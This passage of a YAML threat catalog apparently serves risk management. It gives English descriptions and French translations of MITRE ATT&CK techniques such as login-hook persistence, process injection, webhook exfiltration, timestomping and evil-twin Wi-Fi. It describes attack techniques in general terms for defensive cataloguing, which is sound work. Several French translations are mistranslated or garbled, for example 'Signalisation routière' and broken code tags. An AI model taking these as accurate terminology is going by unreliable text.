      \ Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11\
      \ version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)\
      \ and [Launch Agent](https://attack.mitre.org/techniques/T1543/001)\nhttps://attack.mitre.org/techniques/T1037/002"
    translations:
      fr:
        name: Crochet de connexion
        description: "Les adversaires peuvent utiliser un hook de connexion pour \xE9\
          tablir la persistance ex\xE9cut\xE9e lors de la connexion de l\u2019utilisateur.\
          \ Un hook de connexion est un fichier plist qui pointe vers un script sp\xE9\
          cifique \xE0 ex\xE9cuter avec les privil\xE8ges root lors de la connexion\
          \ de l\u2019utilisateur. Le fichier plist se trouve dans le fichier <code>/Library/Preferences/com.apple.loginwindow.plist</code>\
          \ et peut \xEAtre modifi\xE9 \xE0 l\u2019aide <code>de l\u2019utilitaire\
          \ de ligne de commande defaults</code>. Ce comportement est le m\xEAme pour\
          \ les hooks de d\xE9connexion o\xF9 un script peut \xEAtre ex\xE9cut\xE9\
          \ lors de la d\xE9connexion de l\u2019utilisateur. Tous les hooks n\xE9\
          cessitent des autorisations d\u2019administrateur pour modifier ou cr\xE9\
          er des hooks. (Citation : Scripts de connexion Apple Dev)(Citation : LoginWindowScripts\
          \ Apple Dev) \n\nLes adversaires peuvent ajouter ou ins\xE9rer un chemin\
          \ d\u2019acc\xE8s \xE0 un script malveillant dans le fichier <code>com.apple.loginwindow.plist</code>,\
          \ \xE0 l\u2019aide de la paire cl\xE9-valeur <code>LoginHook</code> ou <code>LogoutHook</code>.\
          \ Le script malveillant est ex\xE9cut\xE9 lors de la prochaine connexion\
          \ de l\u2019utilisateur. Si un hook de connexion existe d\xE9j\xE0, les\
          \ adversaires peuvent ajouter des commandes suppl\xE9mentaires \xE0 un hook\
          \ de connexion existant. Il ne peut y avoir qu\u2019un seul hook de connexion\
          \ et de d\xE9connexion sur un syst\xE8me \xE0 la fois. (Citation : S1 macOs\
          \ Persistence)(Citation : chapitre sur la persistance de Wardle)\n\nLes\
          \ hooks de connexion ont \xE9t\xE9 d\xE9pr\xE9ci\xE9s dans la version 10.11\
          \ de macOS en faveur de [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)\
          \ et [Launch Agent](https://attack.mitre.org/techniques/T1543/001)\nhttps://attack.mitre.org/techniques/T1037/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1659
    ref_id: T1659
    name: Content Injection
    description: 'Adversaries may gain access and continuously communicate with victims
      by injecting malicious content into systems through online network traffic.
      Rather than luring victims to malicious payloads hosted on a compromised website
      (i.e., [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) followed
      by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)), adversaries
      may initially access victims through compromised data-transfer channels where
      they can manipulate traffic and/or inject their own content. These compromised
      online network channels may also be used to deliver additional payloads (i.e.,
      [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and other
      data to already compromised systems.(Citation: ESET MoustachedBouncer)


      Adversaries may inject content to victim systems in various ways, including:


      * From the middle, where the adversary is in-between legitimate online client-server
      communications (**Note:** this is similar but distinct from [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557),
      which describes AiTM activity solely within an enterprise environment) (Citation:
      Kaspersky Encyclopedia MiTM)

      * From the side, where malicious content is injected and races to the client
      as a fake response to requests of a legitimate online server (Citation: Kaspersky
      ManOnTheSide)


      Content injection is often the result of compromised upstream communication
      channels, for example at the level of an internet service provider (ISP) as
      is the case with "lawful interception."(Citation: Kaspersky ManOnTheSide)(Citation:
      ESET MoustachedBouncer)(Citation: EFF China GitHub Attack)

      https://attack.mitre.org/techniques/T1659'
    translations:
      fr:
        name: Injection de contenu
        description: "Les adversaires peuvent acc\xE9der aux victimes et communiquer\
          \ en permanence avec elles en injectant du contenu malveillant dans les\
          \ syst\xE8mes par le biais du trafic r\xE9seau en ligne. Plut\xF4t que d\u2019\
          attirer les victimes vers des charges utiles malveillantes h\xE9berg\xE9\
          es sur un site Web compromis (c\u2019est-\xE0-dire [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)\
          \ suivi de [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)),\
          \ les adversaires peuvent d\u2019abord acc\xE9der aux victimes par le biais\
          \ de canaux de transfert de donn\xE9es compromis o\xF9 ils peuvent manipuler\
          \ le trafic et/ou injecter leur propre contenu. Ces canaux de r\xE9seau\
          \ en ligne compromis peuvent \xE9galement \xEAtre utilis\xE9s pour fournir\
          \ des charges utiles suppl\xE9mentaires (c\u2019est-\xE0-dire [Transfert\
          \ d\u2019outil d\u2019entr\xE9e][https://attack.mitre.org/techniques/T1105))\
          \ et d\u2019autres donn\xE9es \xE0 des syst\xE8mes d\xE9j\xE0 compromis.\
          \ (Citation\_: ESET MoustachedBouncer)\n\nLes adversaires peuvent injecter\
          \ du contenu dans les syst\xE8mes victimes de diff\xE9rentes mani\xE8res,\
          \ notamment :\n\n* \xC0 partir du milieu, o\xF9 l\u2019adversaire se trouve\
          \ entre des communications client-serveur en ligne l\xE9gitimes (**Remarque\
          \ :** ceci est similaire mais distinct de [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557),\
          \ qui d\xE9crit l\u2019activit\xE9 AiTM uniquement dans un environnement\
          \ d\u2019entreprise) (Citation : Kaspersky Encyclopedia MiTM)\n* De c\xF4\
          t\xE9, o\xF9 le contenu malveillant est inject\xE9 et se pr\xE9cipite vers\
          \ le client en tant que fausse r\xE9ponse aux demandes d\u2019un serveur\
          \ en ligne l\xE9gitime (Citation : Kaspersky ManOnTheSide)\n\nL\u2019injection\
          \ de contenu est souvent le r\xE9sultat de canaux de communication en amont\
          \ compromis, par exemple au niveau d\u2019un fournisseur d\u2019acc\xE8\
          s \xE0 Internet (FAI), comme c\u2019est le cas pour \xAB l\u2019interception\
          \ l\xE9gale \xBB. (Citation : Kaspersky ManOnTheSide)(Citation\_: ESET MoustachedBouncer)(Citation\
          \ : Attaque GitHub de l\u2019EFF en Chine)\nhttps://attack.mitre.org/techniques/T1659"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055
    ref_id: T1055
    name: Process Injection
    description: "Adversaries may inject code into processes in order to evade process-based\
      \ defenses as well as possibly elevate privileges. Process injection is a method\
      \ of executing arbitrary code in the address space of a separate live process.\
      \ Running code in the context of another process may allow access to the process's\
      \ memory, system/network resources, and possibly elevated privileges. Execution\
      \ via process injection may also evade detection from security products since\
      \ the execution is masked under a legitimate process. \n\nThere are many different\
      \ ways to inject code into a process, many of which abuse legitimate functionalities.\
      \ These implementations exist for every major OS but are typically platform\
      \ specific. \n\nMore sophisticated samples may perform multiple process injections\
      \ to segment modules and further evade detection, utilizing named pipes or other\
      \ inter-process communication (IPC) mechanisms as a communication channel.\n\
      https://attack.mitre.org/techniques/T1055"
    translations:
      fr:
        name: "Injection de proc\xE9d\xE9"
        description: "Les adversaires peuvent injecter du code dans les processus\
          \ afin d\u2019\xE9chapper aux d\xE9fenses bas\xE9es sur les processus et\
          \ \xE9ventuellement d\u2019\xE9lever les privil\xE8ges. L\u2019injection\
          \ de processus est une m\xE9thode d\u2019ex\xE9cution de code arbitraire\
          \ dans l\u2019espace d\u2019adressage d\u2019un processus en direct distinct.\
          \ L\u2019ex\xE9cution de code dans le contexte d\u2019un autre processus\
          \ peut permettre d\u2019acc\xE9der \xE0 la m\xE9moire du processus, aux\
          \ ressources syst\xE8me/r\xE9seau et \xE9ventuellement \xE0 des privil\xE8\
          ges \xE9lev\xE9s. L\u2019ex\xE9cution par injection de processus peut \xE9\
          galement \xE9chapper \xE0 la d\xE9tection des produits de s\xE9curit\xE9\
          , car l\u2019ex\xE9cution est masqu\xE9e par un processus l\xE9gitime. \n\
          \nIl existe de nombreuses fa\xE7ons d\u2019injecter du code dans un processus,\
          \ dont beaucoup abusent de fonctionnalit\xE9s l\xE9gitimes. Ces impl\xE9\
          mentations existent pour tous les principaux syst\xE8mes d\u2019exploitation,\
          \ mais sont g\xE9n\xE9ralement sp\xE9cifiques \xE0 la plate-forme. \n\n\
          Des \xE9chantillons plus sophistiqu\xE9s peuvent effectuer plusieurs injections\
          \ de processus pour segmenter les modules et \xE9chapper davantage \xE0\
          \ la d\xE9tection, en utilisant des tuyaux nomm\xE9s ou d\u2019autres m\xE9\
          canismes de communication inter-processus (IPC) comme canal de communication.\n\
          https://attack.mitre.org/techniques/T1055"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1567.004
    ref_id: T1567.004
    name: Exfiltration Over Webhook
    description: "Adversaries may exfiltrate data to a webhook endpoint rather than\
      \ over their primary command and control channel. Webhooks are simple mechanisms\
      \ for allowing a server to push data over HTTP/S to a client without the need\
      \ for the client to continuously poll the server.(Citation: RedHat Webhooks)\
      \ Many public and commercial services, such as Discord, Slack, and `webhook.site`,\
      \ support the creation of webhook endpoints that can be used by other services,\
      \ such as Github, Jira, or Trello.(Citation: Discord Intro to Webhooks) When\
      \ changes happen in the linked services (such as pushing a repository update\
      \ or modifying a ticket), these services will automatically post the data to\
      \ the webhook endpoint for use by the consuming application. \n\nAdversaries\
      \ may link an adversary-owned environment to a victim-owned SaaS service to\
      \ achieve repeated [Automated Exfiltration](https://attack.mitre.org/techniques/T1020)\
      \ of emails, chat messages, and other data.(Citation: Push Security SaaS Attacks\
      \ Repository Webhooks) Alternatively, instead of linking the webhook endpoint\
      \ to a service, an adversary can manually post staged data directly to the URL\
      \ in order to exfiltrate it.(Citation: Microsoft SQL Server)\n\nAccess to webhook\
      \ endpoints is often over HTTPS, which gives the adversary an additional level\
      \ of protection. Exfiltration leveraging webhooks can also blend in with normal\
      \ network traffic if the webhook endpoint points to a commonly used SaaS application\
      \ or collaboration service.(Citation: CyberArk Labs Discord)(Citation: Talos\
      \ Discord Webhook Abuse)(Citation: Checkmarx Webhooks)\nhttps://attack.mitre.org/techniques/T1567/004"
    translations:
      fr:
        name: Exfiltration sur Webhook
        description: "Les adversaires peuvent exfiltrer des donn\xE9es vers un point\
          \ de terminaison de webhook plut\xF4t que sur leur canal de commande et\
          \ de contr\xF4le principal. Les webhooks sont des m\xE9canismes simples\
          \ permettant \xE0 un serveur de pousser des donn\xE9es via HTTP/S vers un\
          \ client sans que le client ait besoin d\u2019interroger continuellement\
          \ le serveur. (Citation : Webhooks RedHat) De nombreux services publics\
          \ et commerciaux, tels que Discord, Slack et \xAB webhook.site \xBB, prennent\
          \ en charge la cr\xE9ation de points de terminaison de webhook qui peuvent\
          \ \xEAtre utilis\xE9s par d\u2019autres services, tels que Github, Jira\
          \ ou Trello. (Citation : Discord Intro to Webhooks) Lorsque des modifications\
          \ se produisent dans les services li\xE9s (par exemple, l\u2019envoi d\u2019\
          une mise \xE0 jour du r\xE9f\xE9rentiel ou la modification d\u2019un ticket),\
          \ ces services publient automatiquement les donn\xE9es sur le point de terminaison\
          \ du webhook pour \xEAtre utilis\xE9es par l\u2019application consommane.\
          \ \n\nLes adversaires peuvent lier un environnement appartenant \xE0 l\u2019\
          adversaire \xE0 un service SaaS appartenant \xE0 la victime pour r\xE9aliser\
          \ une [exfiltration automatis\xE9e](https://attack.mitre.org/techniques/T1020)\
          \ r\xE9p\xE9t\xE9e d\u2019e-mails, de messages de chat et d\u2019autres\
          \ donn\xE9es. (citation : Webhooks du r\xE9f\xE9rentiel d\u2019attaques\
          \ SaaS de s\xE9curit\xE9 push) Alternativement, au lieu de lier le point\
          \ de terminaison du webhook \xE0 un service, un adversaire peut publier\
          \ manuellement des donn\xE9es pr\xE9par\xE9es directement sur l\u2019URL\
          \ afin de les exfiltrer. (Citation : Microsoft SQL Server)\n\nL\u2019acc\xE8\
          s aux points de terminaison de webhook se fait souvent via HTTPS, ce qui\
          \ donne \xE0 l\u2019adversaire un niveau de protection suppl\xE9mentaire.\
          \ L\u2019exfiltration utilisant des webhooks peut \xE9galement se fondre\
          \ dans le trafic r\xE9seau normal si le point de terminaison du webhook\
          \ pointe vers une application SaaS ou un service de collaboration couramment\
          \ utilis\xE9. (Citation : CyberArk Labs Discord)(Citation\_: Abus de webhook\
          \ Talos Discord)(Citation : Webhooks de Checkmarx)\nhttps://attack.mitre.org/techniques/T1567/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1205
    ref_id: T1205
    name: Traffic Signaling
    description: 'Adversaries may use traffic signaling to hide open ports or other
      malicious functionality used for persistence or command and control. Traffic
      signaling involves the use of a magic value or sequence that must be sent to
      a system to trigger a special response, such as opening a closed port or executing
      a malicious task. This may take the form of sending a series of packets with
      certain characteristics before a port will be opened that the adversary can
      use for command and control. Usually this series of packets consists of attempted
      connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)),
      but can involve unusual flags, specific strings, or other unique characteristics.
      After the sequence is completed, opening a port may be accomplished by the host-based
      firewall, but could also be implemented by custom software.


      Adversaries may also communicate with an already open port, but the service
      listening on that port will only respond to commands or trigger other malicious
      functionality if passed the appropriate magic value(s).


      The observation of the signal packets to trigger the communication can be conducted
      through different methods. One means, originally implemented by Cd00r (Citation:
      Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets
      in question. Another method leverages raw sockets, which enables the malware
      to use ports that are already open for use by other programs.


      On network devices, adversaries may use crafted packets to enable [Network Device
      Authentication](https://attack.mitre.org/techniques/T1556/004) for standard
      services offered by the device such as telnet.  Such signaling may also be used
      to open a closed service port such as telnet, or to trigger module modification
      of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries
      may use crafted packets to attempt to connect to one or more (open or closed)
      ports, but may also attempt to connect to a router interface, broadcast, and
      network address IP on the same port in order to achieve their goals and objectives.(Citation:
      Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco
      Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices,
      adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001)
      due to the monolithic nature of the architecture.


      Adversaries may also use the Wake-on-LAN feature to turn on powered off systems.
      Wake-on-LAN is a hardware feature that allows a powered down system to be powered
      on, or woken up, by sending a magic packet to it. Once the system is powered
      on, it may become a target for lateral movement.(Citation: Bleeping Computer
      - Ryuk WoL)(Citation: AMD Magic Packet)

      https://attack.mitre.org/techniques/T1205'
    translations:
      fr:
        name: "Signalisation routi\xE8re"
        description: "Les adversaires peuvent utiliser la signalisation routi\xE8\
          re pour masquer des ports ouverts ou d\u2019autres fonctionnalit\xE9s malveillantes\
          \ utilis\xE9es pour la persistance ou la commande et le contr\xF4le. La\
          \ signalisation routi\xE8re implique l\u2019utilisation d\u2019une valeur\
          \ magique ou d\u2019une s\xE9quence qui doit \xEAtre envoy\xE9e \xE0 un\
          \ syst\xE8me pour d\xE9clencher une r\xE9ponse sp\xE9ciale, telle que l\u2019\
          ouverture d\u2019un port ferm\xE9 ou l\u2019ex\xE9cution d\u2019une t\xE2\
          che malveillante. Cela peut prendre la forme de l\u2019envoi d\u2019une\
          \ s\xE9rie de paquets pr\xE9sentant certaines caract\xE9ristiques avant\
          \ l\u2019ouverture d\u2019un port que l\u2019adversaire peut utiliser pour\
          \ la commande et le contr\xF4le. Habituellement, cette s\xE9rie de paquets\
          \ consiste en des tentatives de connexion \xE0 une s\xE9quence pr\xE9d\xE9\
          finie de ports ferm\xE9s (c\u2019est-\xE0-dire [Port Knocking](https://attack.mitre.org/techniques/T1205/001)),\
          \ mais peut impliquer des drapeaux inhabituels, des cha\xEEnes sp\xE9cifiques\
          \ ou d\u2019autres caract\xE9ristiques uniques. Une fois la s\xE9quence\
          \ termin\xE9e, l\u2019ouverture d\u2019un port peut \xEAtre effectu\xE9\
          e par le pare-feu bas\xE9 sur l\u2019h\xF4te, mais peut \xE9galement \xEA\
          tre mise en \u0153uvre par un logiciel personnalis\xE9.\n\nLes adversaires\
          \ peuvent \xE9galement communiquer avec un port d\xE9j\xE0 ouvert, mais\
          \ le service qui \xE9coute sur ce port ne r\xE9pondra aux commandes ou ne\
          \ d\xE9clenchera d\u2019autres fonctionnalit\xE9s malveillantes que si la\
          \ ou les valeurs magiques appropri\xE9es sont pass\xE9es.\n\nL\u2019observation\
          \ des paquets de signaux pour d\xE9clencher la communication peut \xEAtre\
          \ effectu\xE9e par diff\xE9rentes m\xE9thodes. Un moyen, mis en \u0153uvre\
          \ \xE0 l\u2019origine par Cd00r (Citation\_: Hartrell cd00r 2002), est d\u2019\
          utiliser les biblioth\xE8ques libpcap pour renifler les paquets en question.\
          \ Une autre m\xE9thode exploite les sockets bruts, ce qui permet au logiciel\
          \ malveillant d\u2019utiliser des ports d\xE9j\xE0 ouverts pour \xEAtre\
          \ utilis\xE9s par d\u2019autres programmes.\n\nSur les p\xE9riph\xE9riques\
          \ r\xE9seau, les adversaires peuvent utiliser des paquets contrefaits pour\
          \ activer [l\u2019authentification des p\xE9riph\xE9riques r\xE9seau](https://attack.mitre.org/techniques/T1556/004)\
          \ pour les services standard propos\xE9s par le p\xE9riph\xE9rique, tels\
          \ que telnet.  Une telle signalisation peut \xE9galement \xEAtre utilis\xE9\
          e pour ouvrir un port de service ferm\xE9 tel que telnet, ou pour d\xE9\
          clencher la modification de module d\u2019implants de logiciels malveillants\
          \ sur l\u2019appareil, en ajoutant, supprimant ou modifiant des capacit\xE9\
          s malveillantes.  Les adversaires peuvent utiliser des paquets contrefaits\
          \ pour tenter de se connecter \xE0 un ou plusieurs ports (ouverts ou ferm\xE9\
          s), mais peuvent \xE9galement tenter de se connecter \xE0 une interface\
          \ de routeur, \xE0 une diffusion et \xE0 une adresse IP r\xE9seau sur le\
          \ m\xEAme port afin d\u2019atteindre leurs buts et objectifs. (Citation\
          \ : Cisco Synful Knock Evolution)(Citation : Mandiant - Synful Knock)(Citation\
          \ : Blog Cisco Legacy Device Attacks)  Pour activer cette signalisation\
          \ de trafic sur les p\xE9riph\xE9riques int\xE9gr\xE9s, les adversaires\
          \ doivent d\u2019abord r\xE9aliser et exploiter [Patch System Image](https://attack.mitre.org/techniques/T1601/001)\
          \ en raison de la nature monolithique de l\u2019architecture.\n\nLes adversaires\
          \ peuvent \xE9galement utiliser la fonction Wake-on-LAN pour allumer les\
          \ syst\xE8mes hors tension. Wake-on-LAN est une fonctionnalit\xE9 mat\xE9\
          rielle qui permet \xE0 un syst\xE8me hors tension d\u2019\xEAtre mis sous\
          \ tension, ou r\xE9veill\xE9, en lui envoyant un paquet magique. Une fois\
          \ le syst\xE8me sous tension, il peut devenir une cible pour les mouvements\
          \ lat\xE9raux. (Citation : Ordinateur Bleeping - Ryuk WoL)(Citation : AMD\
          \ Magic Packet)\nhttps://attack.mitre.org/techniques/T1205"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1021.008
    ref_id: T1021.008
    name: Direct Cloud VM Connections
    description: "Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078)\
      \ to log directly into accessible cloud hosted compute infrastructure through\
      \ cloud native methods. Many cloud providers offer interactive connections to\
      \ virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009),\
      \ such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance\
      \ Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in\
      \ the cloud), and AWS System Manager.(Citation: AWS System Manager).\n\nMethods\
      \ of authentication for these connections can include passwords, application\
      \ access tokens, or SSH keys. These cloud native methods may, by default, allow\
      \ for privileged access on the host with SYSTEM or root level access. \n\nAdversaries\
      \ may utilize these cloud native methods to directly access virtual infrastructure\
      \ and pivot through an environment.(Citation: SIM Swapping and Abuse of the\
      \ Microsoft Azure Serial Console) These connections typically provide direct\
      \ console access to the VM rather than the execution of scripts (i.e., [Cloud\
      \ Administration Command](https://attack.mitre.org/techniques/T1651)).\nhttps://attack.mitre.org/techniques/T1021/008"
    translations:
      fr:
        name: Connexions directes aux VM Cloud
        description: "Les adversaires peuvent utiliser les [comptes valides](https://attack.mitre.org/techniques/T1078)\
          \ pour se connecter directement \xE0 une infrastructure de calcul h\xE9\
          berg\xE9e dans le cloud accessible via des m\xE9thodes natives du cloud.\
          \ De nombreux fournisseurs de cloud proposent des connexions interactives\
          \ \xE0 l\u2019infrastructure virtuelle accessible via l'[API cloud](https://attack.mitre.org/techniques/T1059/009),\
          \ telle que Azure Serial Console (R\xE9f\xE9rence : Azure Serial Console),\
          \ AWS EC2 Instance Connect (R\xE9f\xE9rence : EC2 Instance Connect) (R\xE9\
          f\xE9rence : lucr-3 : Obtention de SaaS-y dans le cloud) et AWS System Manager.\
          \ (Citation : AWS System Manager).\n\nLes m\xE9thodes d\u2019authentification\
          \ de ces connexions peuvent inclure des mots de passe, des jetons d\u2019\
          acc\xE8s \xE0 l\u2019application ou des cl\xE9s SSH. Ces m\xE9thodes cloud\
          \ natives peuvent, par d\xE9faut, autoriser un acc\xE8s privil\xE9gi\xE9\
          \ sur l\u2019h\xF4te avec un acc\xE8s SYSTEM ou de niveau racine. \n\nLes\
          \ adversaires peuvent utiliser ces m\xE9thodes cloud natives pour acc\xE9\
          der directement \xE0 l\u2019infrastructure virtuelle et pivoter dans un\
          \ environnement. (Citation : \xC9change de carte SIM et abus de la console\
          \ s\xE9rie Microsoft Azure) Ces connexions fournissent g\xE9n\xE9ralement\
          \ un acc\xE8s direct \xE0 la console virtuelle plut\xF4t que l\u2019ex\xE9\
          cution de scripts (c\u2019est-\xE0-dire [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)).\n\
          https://attack.mitre.org/techniques/T1021/008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218
    ref_id: T1218
    name: System Binary Proxy Execution
    description: 'Adversaries may bypass process and/or signature-based defenses by
      proxying execution of malicious content with signed, or otherwise trusted, binaries.
      Binaries used in this technique are often Microsoft-signed files, indicating
      that they have been either downloaded from Microsoft or are already native in
      the operating system.(Citation: LOLBAS Project) Binaries signed with trusted
      digital certificates can typically execute on Windows systems protected by digital
      signature validation. Several Microsoft signed binaries that are default on
      Windows installations can be used to proxy execution of other files or commands.


      Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code>
      to proxy execution of malicious commands.(Citation: split man page)(Citation:
      GTFO split)

      https://attack.mitre.org/techniques/T1218'
    translations:
      fr:
        name: "Ex\xE9cution du proxy binaire syst\xE8me"
        description: "Les adversaires peuvent contourner les d\xE9fenses bas\xE9es\
          \ sur le processus et/ou les signatures en mandatant l\u2019ex\xE9cution\
          \ de contenu malveillant avec des binaires sign\xE9s ou de confiance. Les\
          \ fichiers binaires utilis\xE9s dans cette technique sont souvent des fichiers\
          \ sign\xE9s par Microsoft, ce qui indique qu\u2019ils ont \xE9t\xE9 t\xE9\
          l\xE9charg\xE9s \xE0 partir de Microsoft ou qu\u2019ils sont d\xE9j\xE0\
          \ natifs dans le syst\xE8me d\u2019exploitation. (Citation : Projet LOLBAS)\
          \ Les fichiers binaires sign\xE9s avec des certificats num\xE9riques approuv\xE9\
          s peuvent g\xE9n\xE9ralement s\u2019ex\xE9cuter sur des syst\xE8mes Windows\
          \ prot\xE9g\xE9s par la validation de signature num\xE9rique. Plusieurs\
          \ fichiers binaires sign\xE9s par Microsoft qui sont par d\xE9faut sur les\
          \ installations Windows peuvent \xEAtre utilis\xE9s pour l\u2019ex\xE9cution\
          \ proxy d\u2019autres fichiers ou commandes.\n\nDe m\xEAme, sur les syst\xE8\
          mes Linux, les adversaires peuvent abuser de fichiers binaires de <code>confiance,\
          \ tels</code> que l\u2019ex\xE9cution de commandes malveillantes. (Citation\
          \ : page de manuel divis\xE9e)(Citation : s\u2019en aller divis\xE9)\nhttps://attack.mitre.org/techniques/T1218"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1070.006
    ref_id: T1070.006
    name: Timestomp
    description: "Adversaries may modify file time attributes to hide new files or\
      \ changes to existing files. Timestomping is a technique that modifies the timestamps\
      \ of a file (the modify, access, create, and change times), often to mimic files\
      \ that are in the same folder and blend malicious files with legitimate files.\n\
      \nBoth the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes\
      \ record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping\
      \ 2022) `$SI` (dates/time stamps) is displayed to the end user, including in\
      \ the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet\
      \ Forensics)\n\nModifying the `$SI` attribute is the most common method of timestomping\
      \ because it can be modified at the user level using API calls. `$FN` timestomping,\
      \ however, typically requires interacting with the system kernel or moving or\
      \ renaming a file.(Citation: Inversecos Timestomping 2022)\n\nAdversaries modify\
      \ timestamps on files so that they do not appear conspicuous to forensic investigators\
      \ or file analysis tools. In order to evade detections that rely on identifying\
      \ discrepancies between the `$SI` and `$FN` attributes, adversaries may also\
      \ engage in \u201Cdouble timestomping\u201D by modifying times on both attributes\
      \ simultaneously.(Citation: Double Timestomping)\n\nTimestomping may be used\
      \ along with file name [Masquerading](https://attack.mitre.org/techniques/T1036)\
      \ to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)\n\
      https://attack.mitre.org/techniques/T1070/006"
    translations:
      fr:
        name: Timestomp
        description: "Les adversaires peuvent modifier les attributs de temps de fichier\
          \ pour masquer de nouveaux fichiers ou des modifications apport\xE9es \xE0\
          \ des fichiers existants. Le timetomping est une technique qui modifie les\
          \ horodatages d\u2019un fichier (modifier, acc\xE9der, cr\xE9er et changer\
          \ les heures), souvent pour imiter les fichiers qui se trouvent dans le\
          \ m\xEAme dossier et m\xE9langer des fichiers malveillants avec des fichiers\
          \ l\xE9gitimes.\n\nLes attributs '$STANDARD_INFORMATION' ('$SI') et '$FILE_NAME'\
          \ ('$FN') attribuent les temps d\u2019enregistrement dans un fichier MFT\
          \ (Master File Table). (Citation : Inversecos Timestomping 2022) '$SI' (dates/horodatages)\
          \ est affich\xE9 \xE0 l\u2019utilisateur final, y compris dans la vue du\
          \ syst\xE8me de fichiers, tandis que '$FN' est trait\xE9 par le noyau. (Citation\
          \ : Magnet Forensics)\n\nLa modification de l\u2019attribut '$SI' est la\
          \ m\xE9thode la plus courante de timetomping, car elle peut \xEAtre modifi\xE9\
          e au niveau de l\u2019utilisateur \xE0 l\u2019aide d\u2019appels API. Cependant,\
          \ le timetomping '$FN n\xE9cessite g\xE9n\xE9ralement d\u2019interagir avec\
          \ le noyau du syst\xE8me ou de d\xE9placer ou de renommer un fichier. (Citation\
          \ : Inversecos Timestomping 2022)\n\nLes adversaires modifient les horodatages\
          \ des fichiers afin qu\u2019ils n\u2019apparaissent pas visibles aux enqu\xEA\
          teurs ou aux outils d\u2019analyse de fichiers. Afin d\u2019\xE9viter les\
          \ d\xE9tections qui reposent sur l\u2019identification des \xE9carts entre\
          \ les attributs \xAB $SI \xBB et \xAB $FN \xBB, les adversaires peuvent\
          \ \xE9galement se livrer \xE0 un \xAB double timetomping \xBB en modifiant\
          \ les temps sur les deux attributs simultan\xE9ment. (Citation : Double\
          \ Timetomping)\n\nTimestomping peut \xEAtre utilis\xE9 avec le nom de fichier\
          \ [Masquerading](https://attack.mitre.org/techniques/T1036) pour masquer\
          \ les logiciels malveillants et les outils. (Citation : Techniques anti-criminalistiques\
          \ WindowsIR)\nhttps://attack.mitre.org/techniques/T1070/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1557.004
    ref_id: T1557.004
    name: Evil Twin
    description: "Adversaries may host seemingly genuine Wi-Fi access points to deceive\
      \ users into connecting to malicious networks as a way of supporting follow-on\
      \ behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040),\
      \ [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002),\
      \ or [Input Capture](https://attack.mitre.org/techniques/T1056).(Citation: Australia\
      \ \u2018Evil Twin\u2019)\n\nBy using a Service Set Identifier (SSID) of a legitimate\
      \ Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into\
      \ connecting to malicious Wi-Fi networks.(Citation: Kaspersky evil twin)(Citation:\
      \ medium evil twin)  Adversaries may provide a stronger signal strength or block\
      \ access to Wi-Fi access points to coerce or entice victim devices into connecting\
      \ to malicious networks.(Citation: specter ops evil twin)  A Wi-Fi Pineapple\
      \ \u2013 a network security auditing and penetration testing tool \u2013 may\
      \ be deployed in Evil Twin attacks for ease of use and broader range. Custom\
      \ certificates may be used in an attempt to intercept HTTPS traffic. \n\nSimilarly,\
      \ adversaries may also listen for client devices sending probe requests for\
      \ known or previously connected networks (Preferred Network Lists or PNLs).\
      \ When a malicious access point receives a probe request, adversaries can respond\
      \ with the same SSID to imitate the trusted, known network.(Citation: specter\
      \ ops evil twin)  Victim devices are led to believe the responding access point\
      \ is from their PNL and initiate a connection to the fraudulent network.\n\n\
      Upon logging into the malicious Wi-Fi access point, a user may be directed to\
      \ a fake login page or captive portal webpage to capture the victim\u2019s credentials.\
      \ Once a user is logged into the fraudulent Wi-Fi network, the adversary may\
      \ able to monitor network activity, manipulate data, or steal additional credentials.\
      \ Locations with high concentrations of public Wi-Fi access, such as airports,\
      \ coffee shops, or libraries, may be targets for adversaries to set up illegitimate\
      \ Wi-Fi access points.\nhttps://attack.mitre.org/techniques/T1557/004"
    translations:
      fr:
        name: "Jumeau mal\xE9fique"
        description: "Les adversaires peuvent h\xE9berger des points d\u2019acc\xE8\
          s Wi-Fi apparemment authentiques pour inciter les utilisateurs \xE0 se connecter\
          \ \xE0 des r\xE9seaux malveillants afin de soutenir des comportements ult\xE9\
          rieurs tels que [Reniflage de r\xE9seau](https://attack.mitre.org/techniques/T1040),\
          \ [Manipulation de donn\xE9es transmises](https://attack.mitre.org/techniques/T1565/002)\
          \ ou [Capture d\u2019entr\xE9e](https://attack.mitre.org/techniques/T1056).\
          \ (Citation : Australie 'Evil Twin')\n\nEn utilisant un SSID (Service Set\
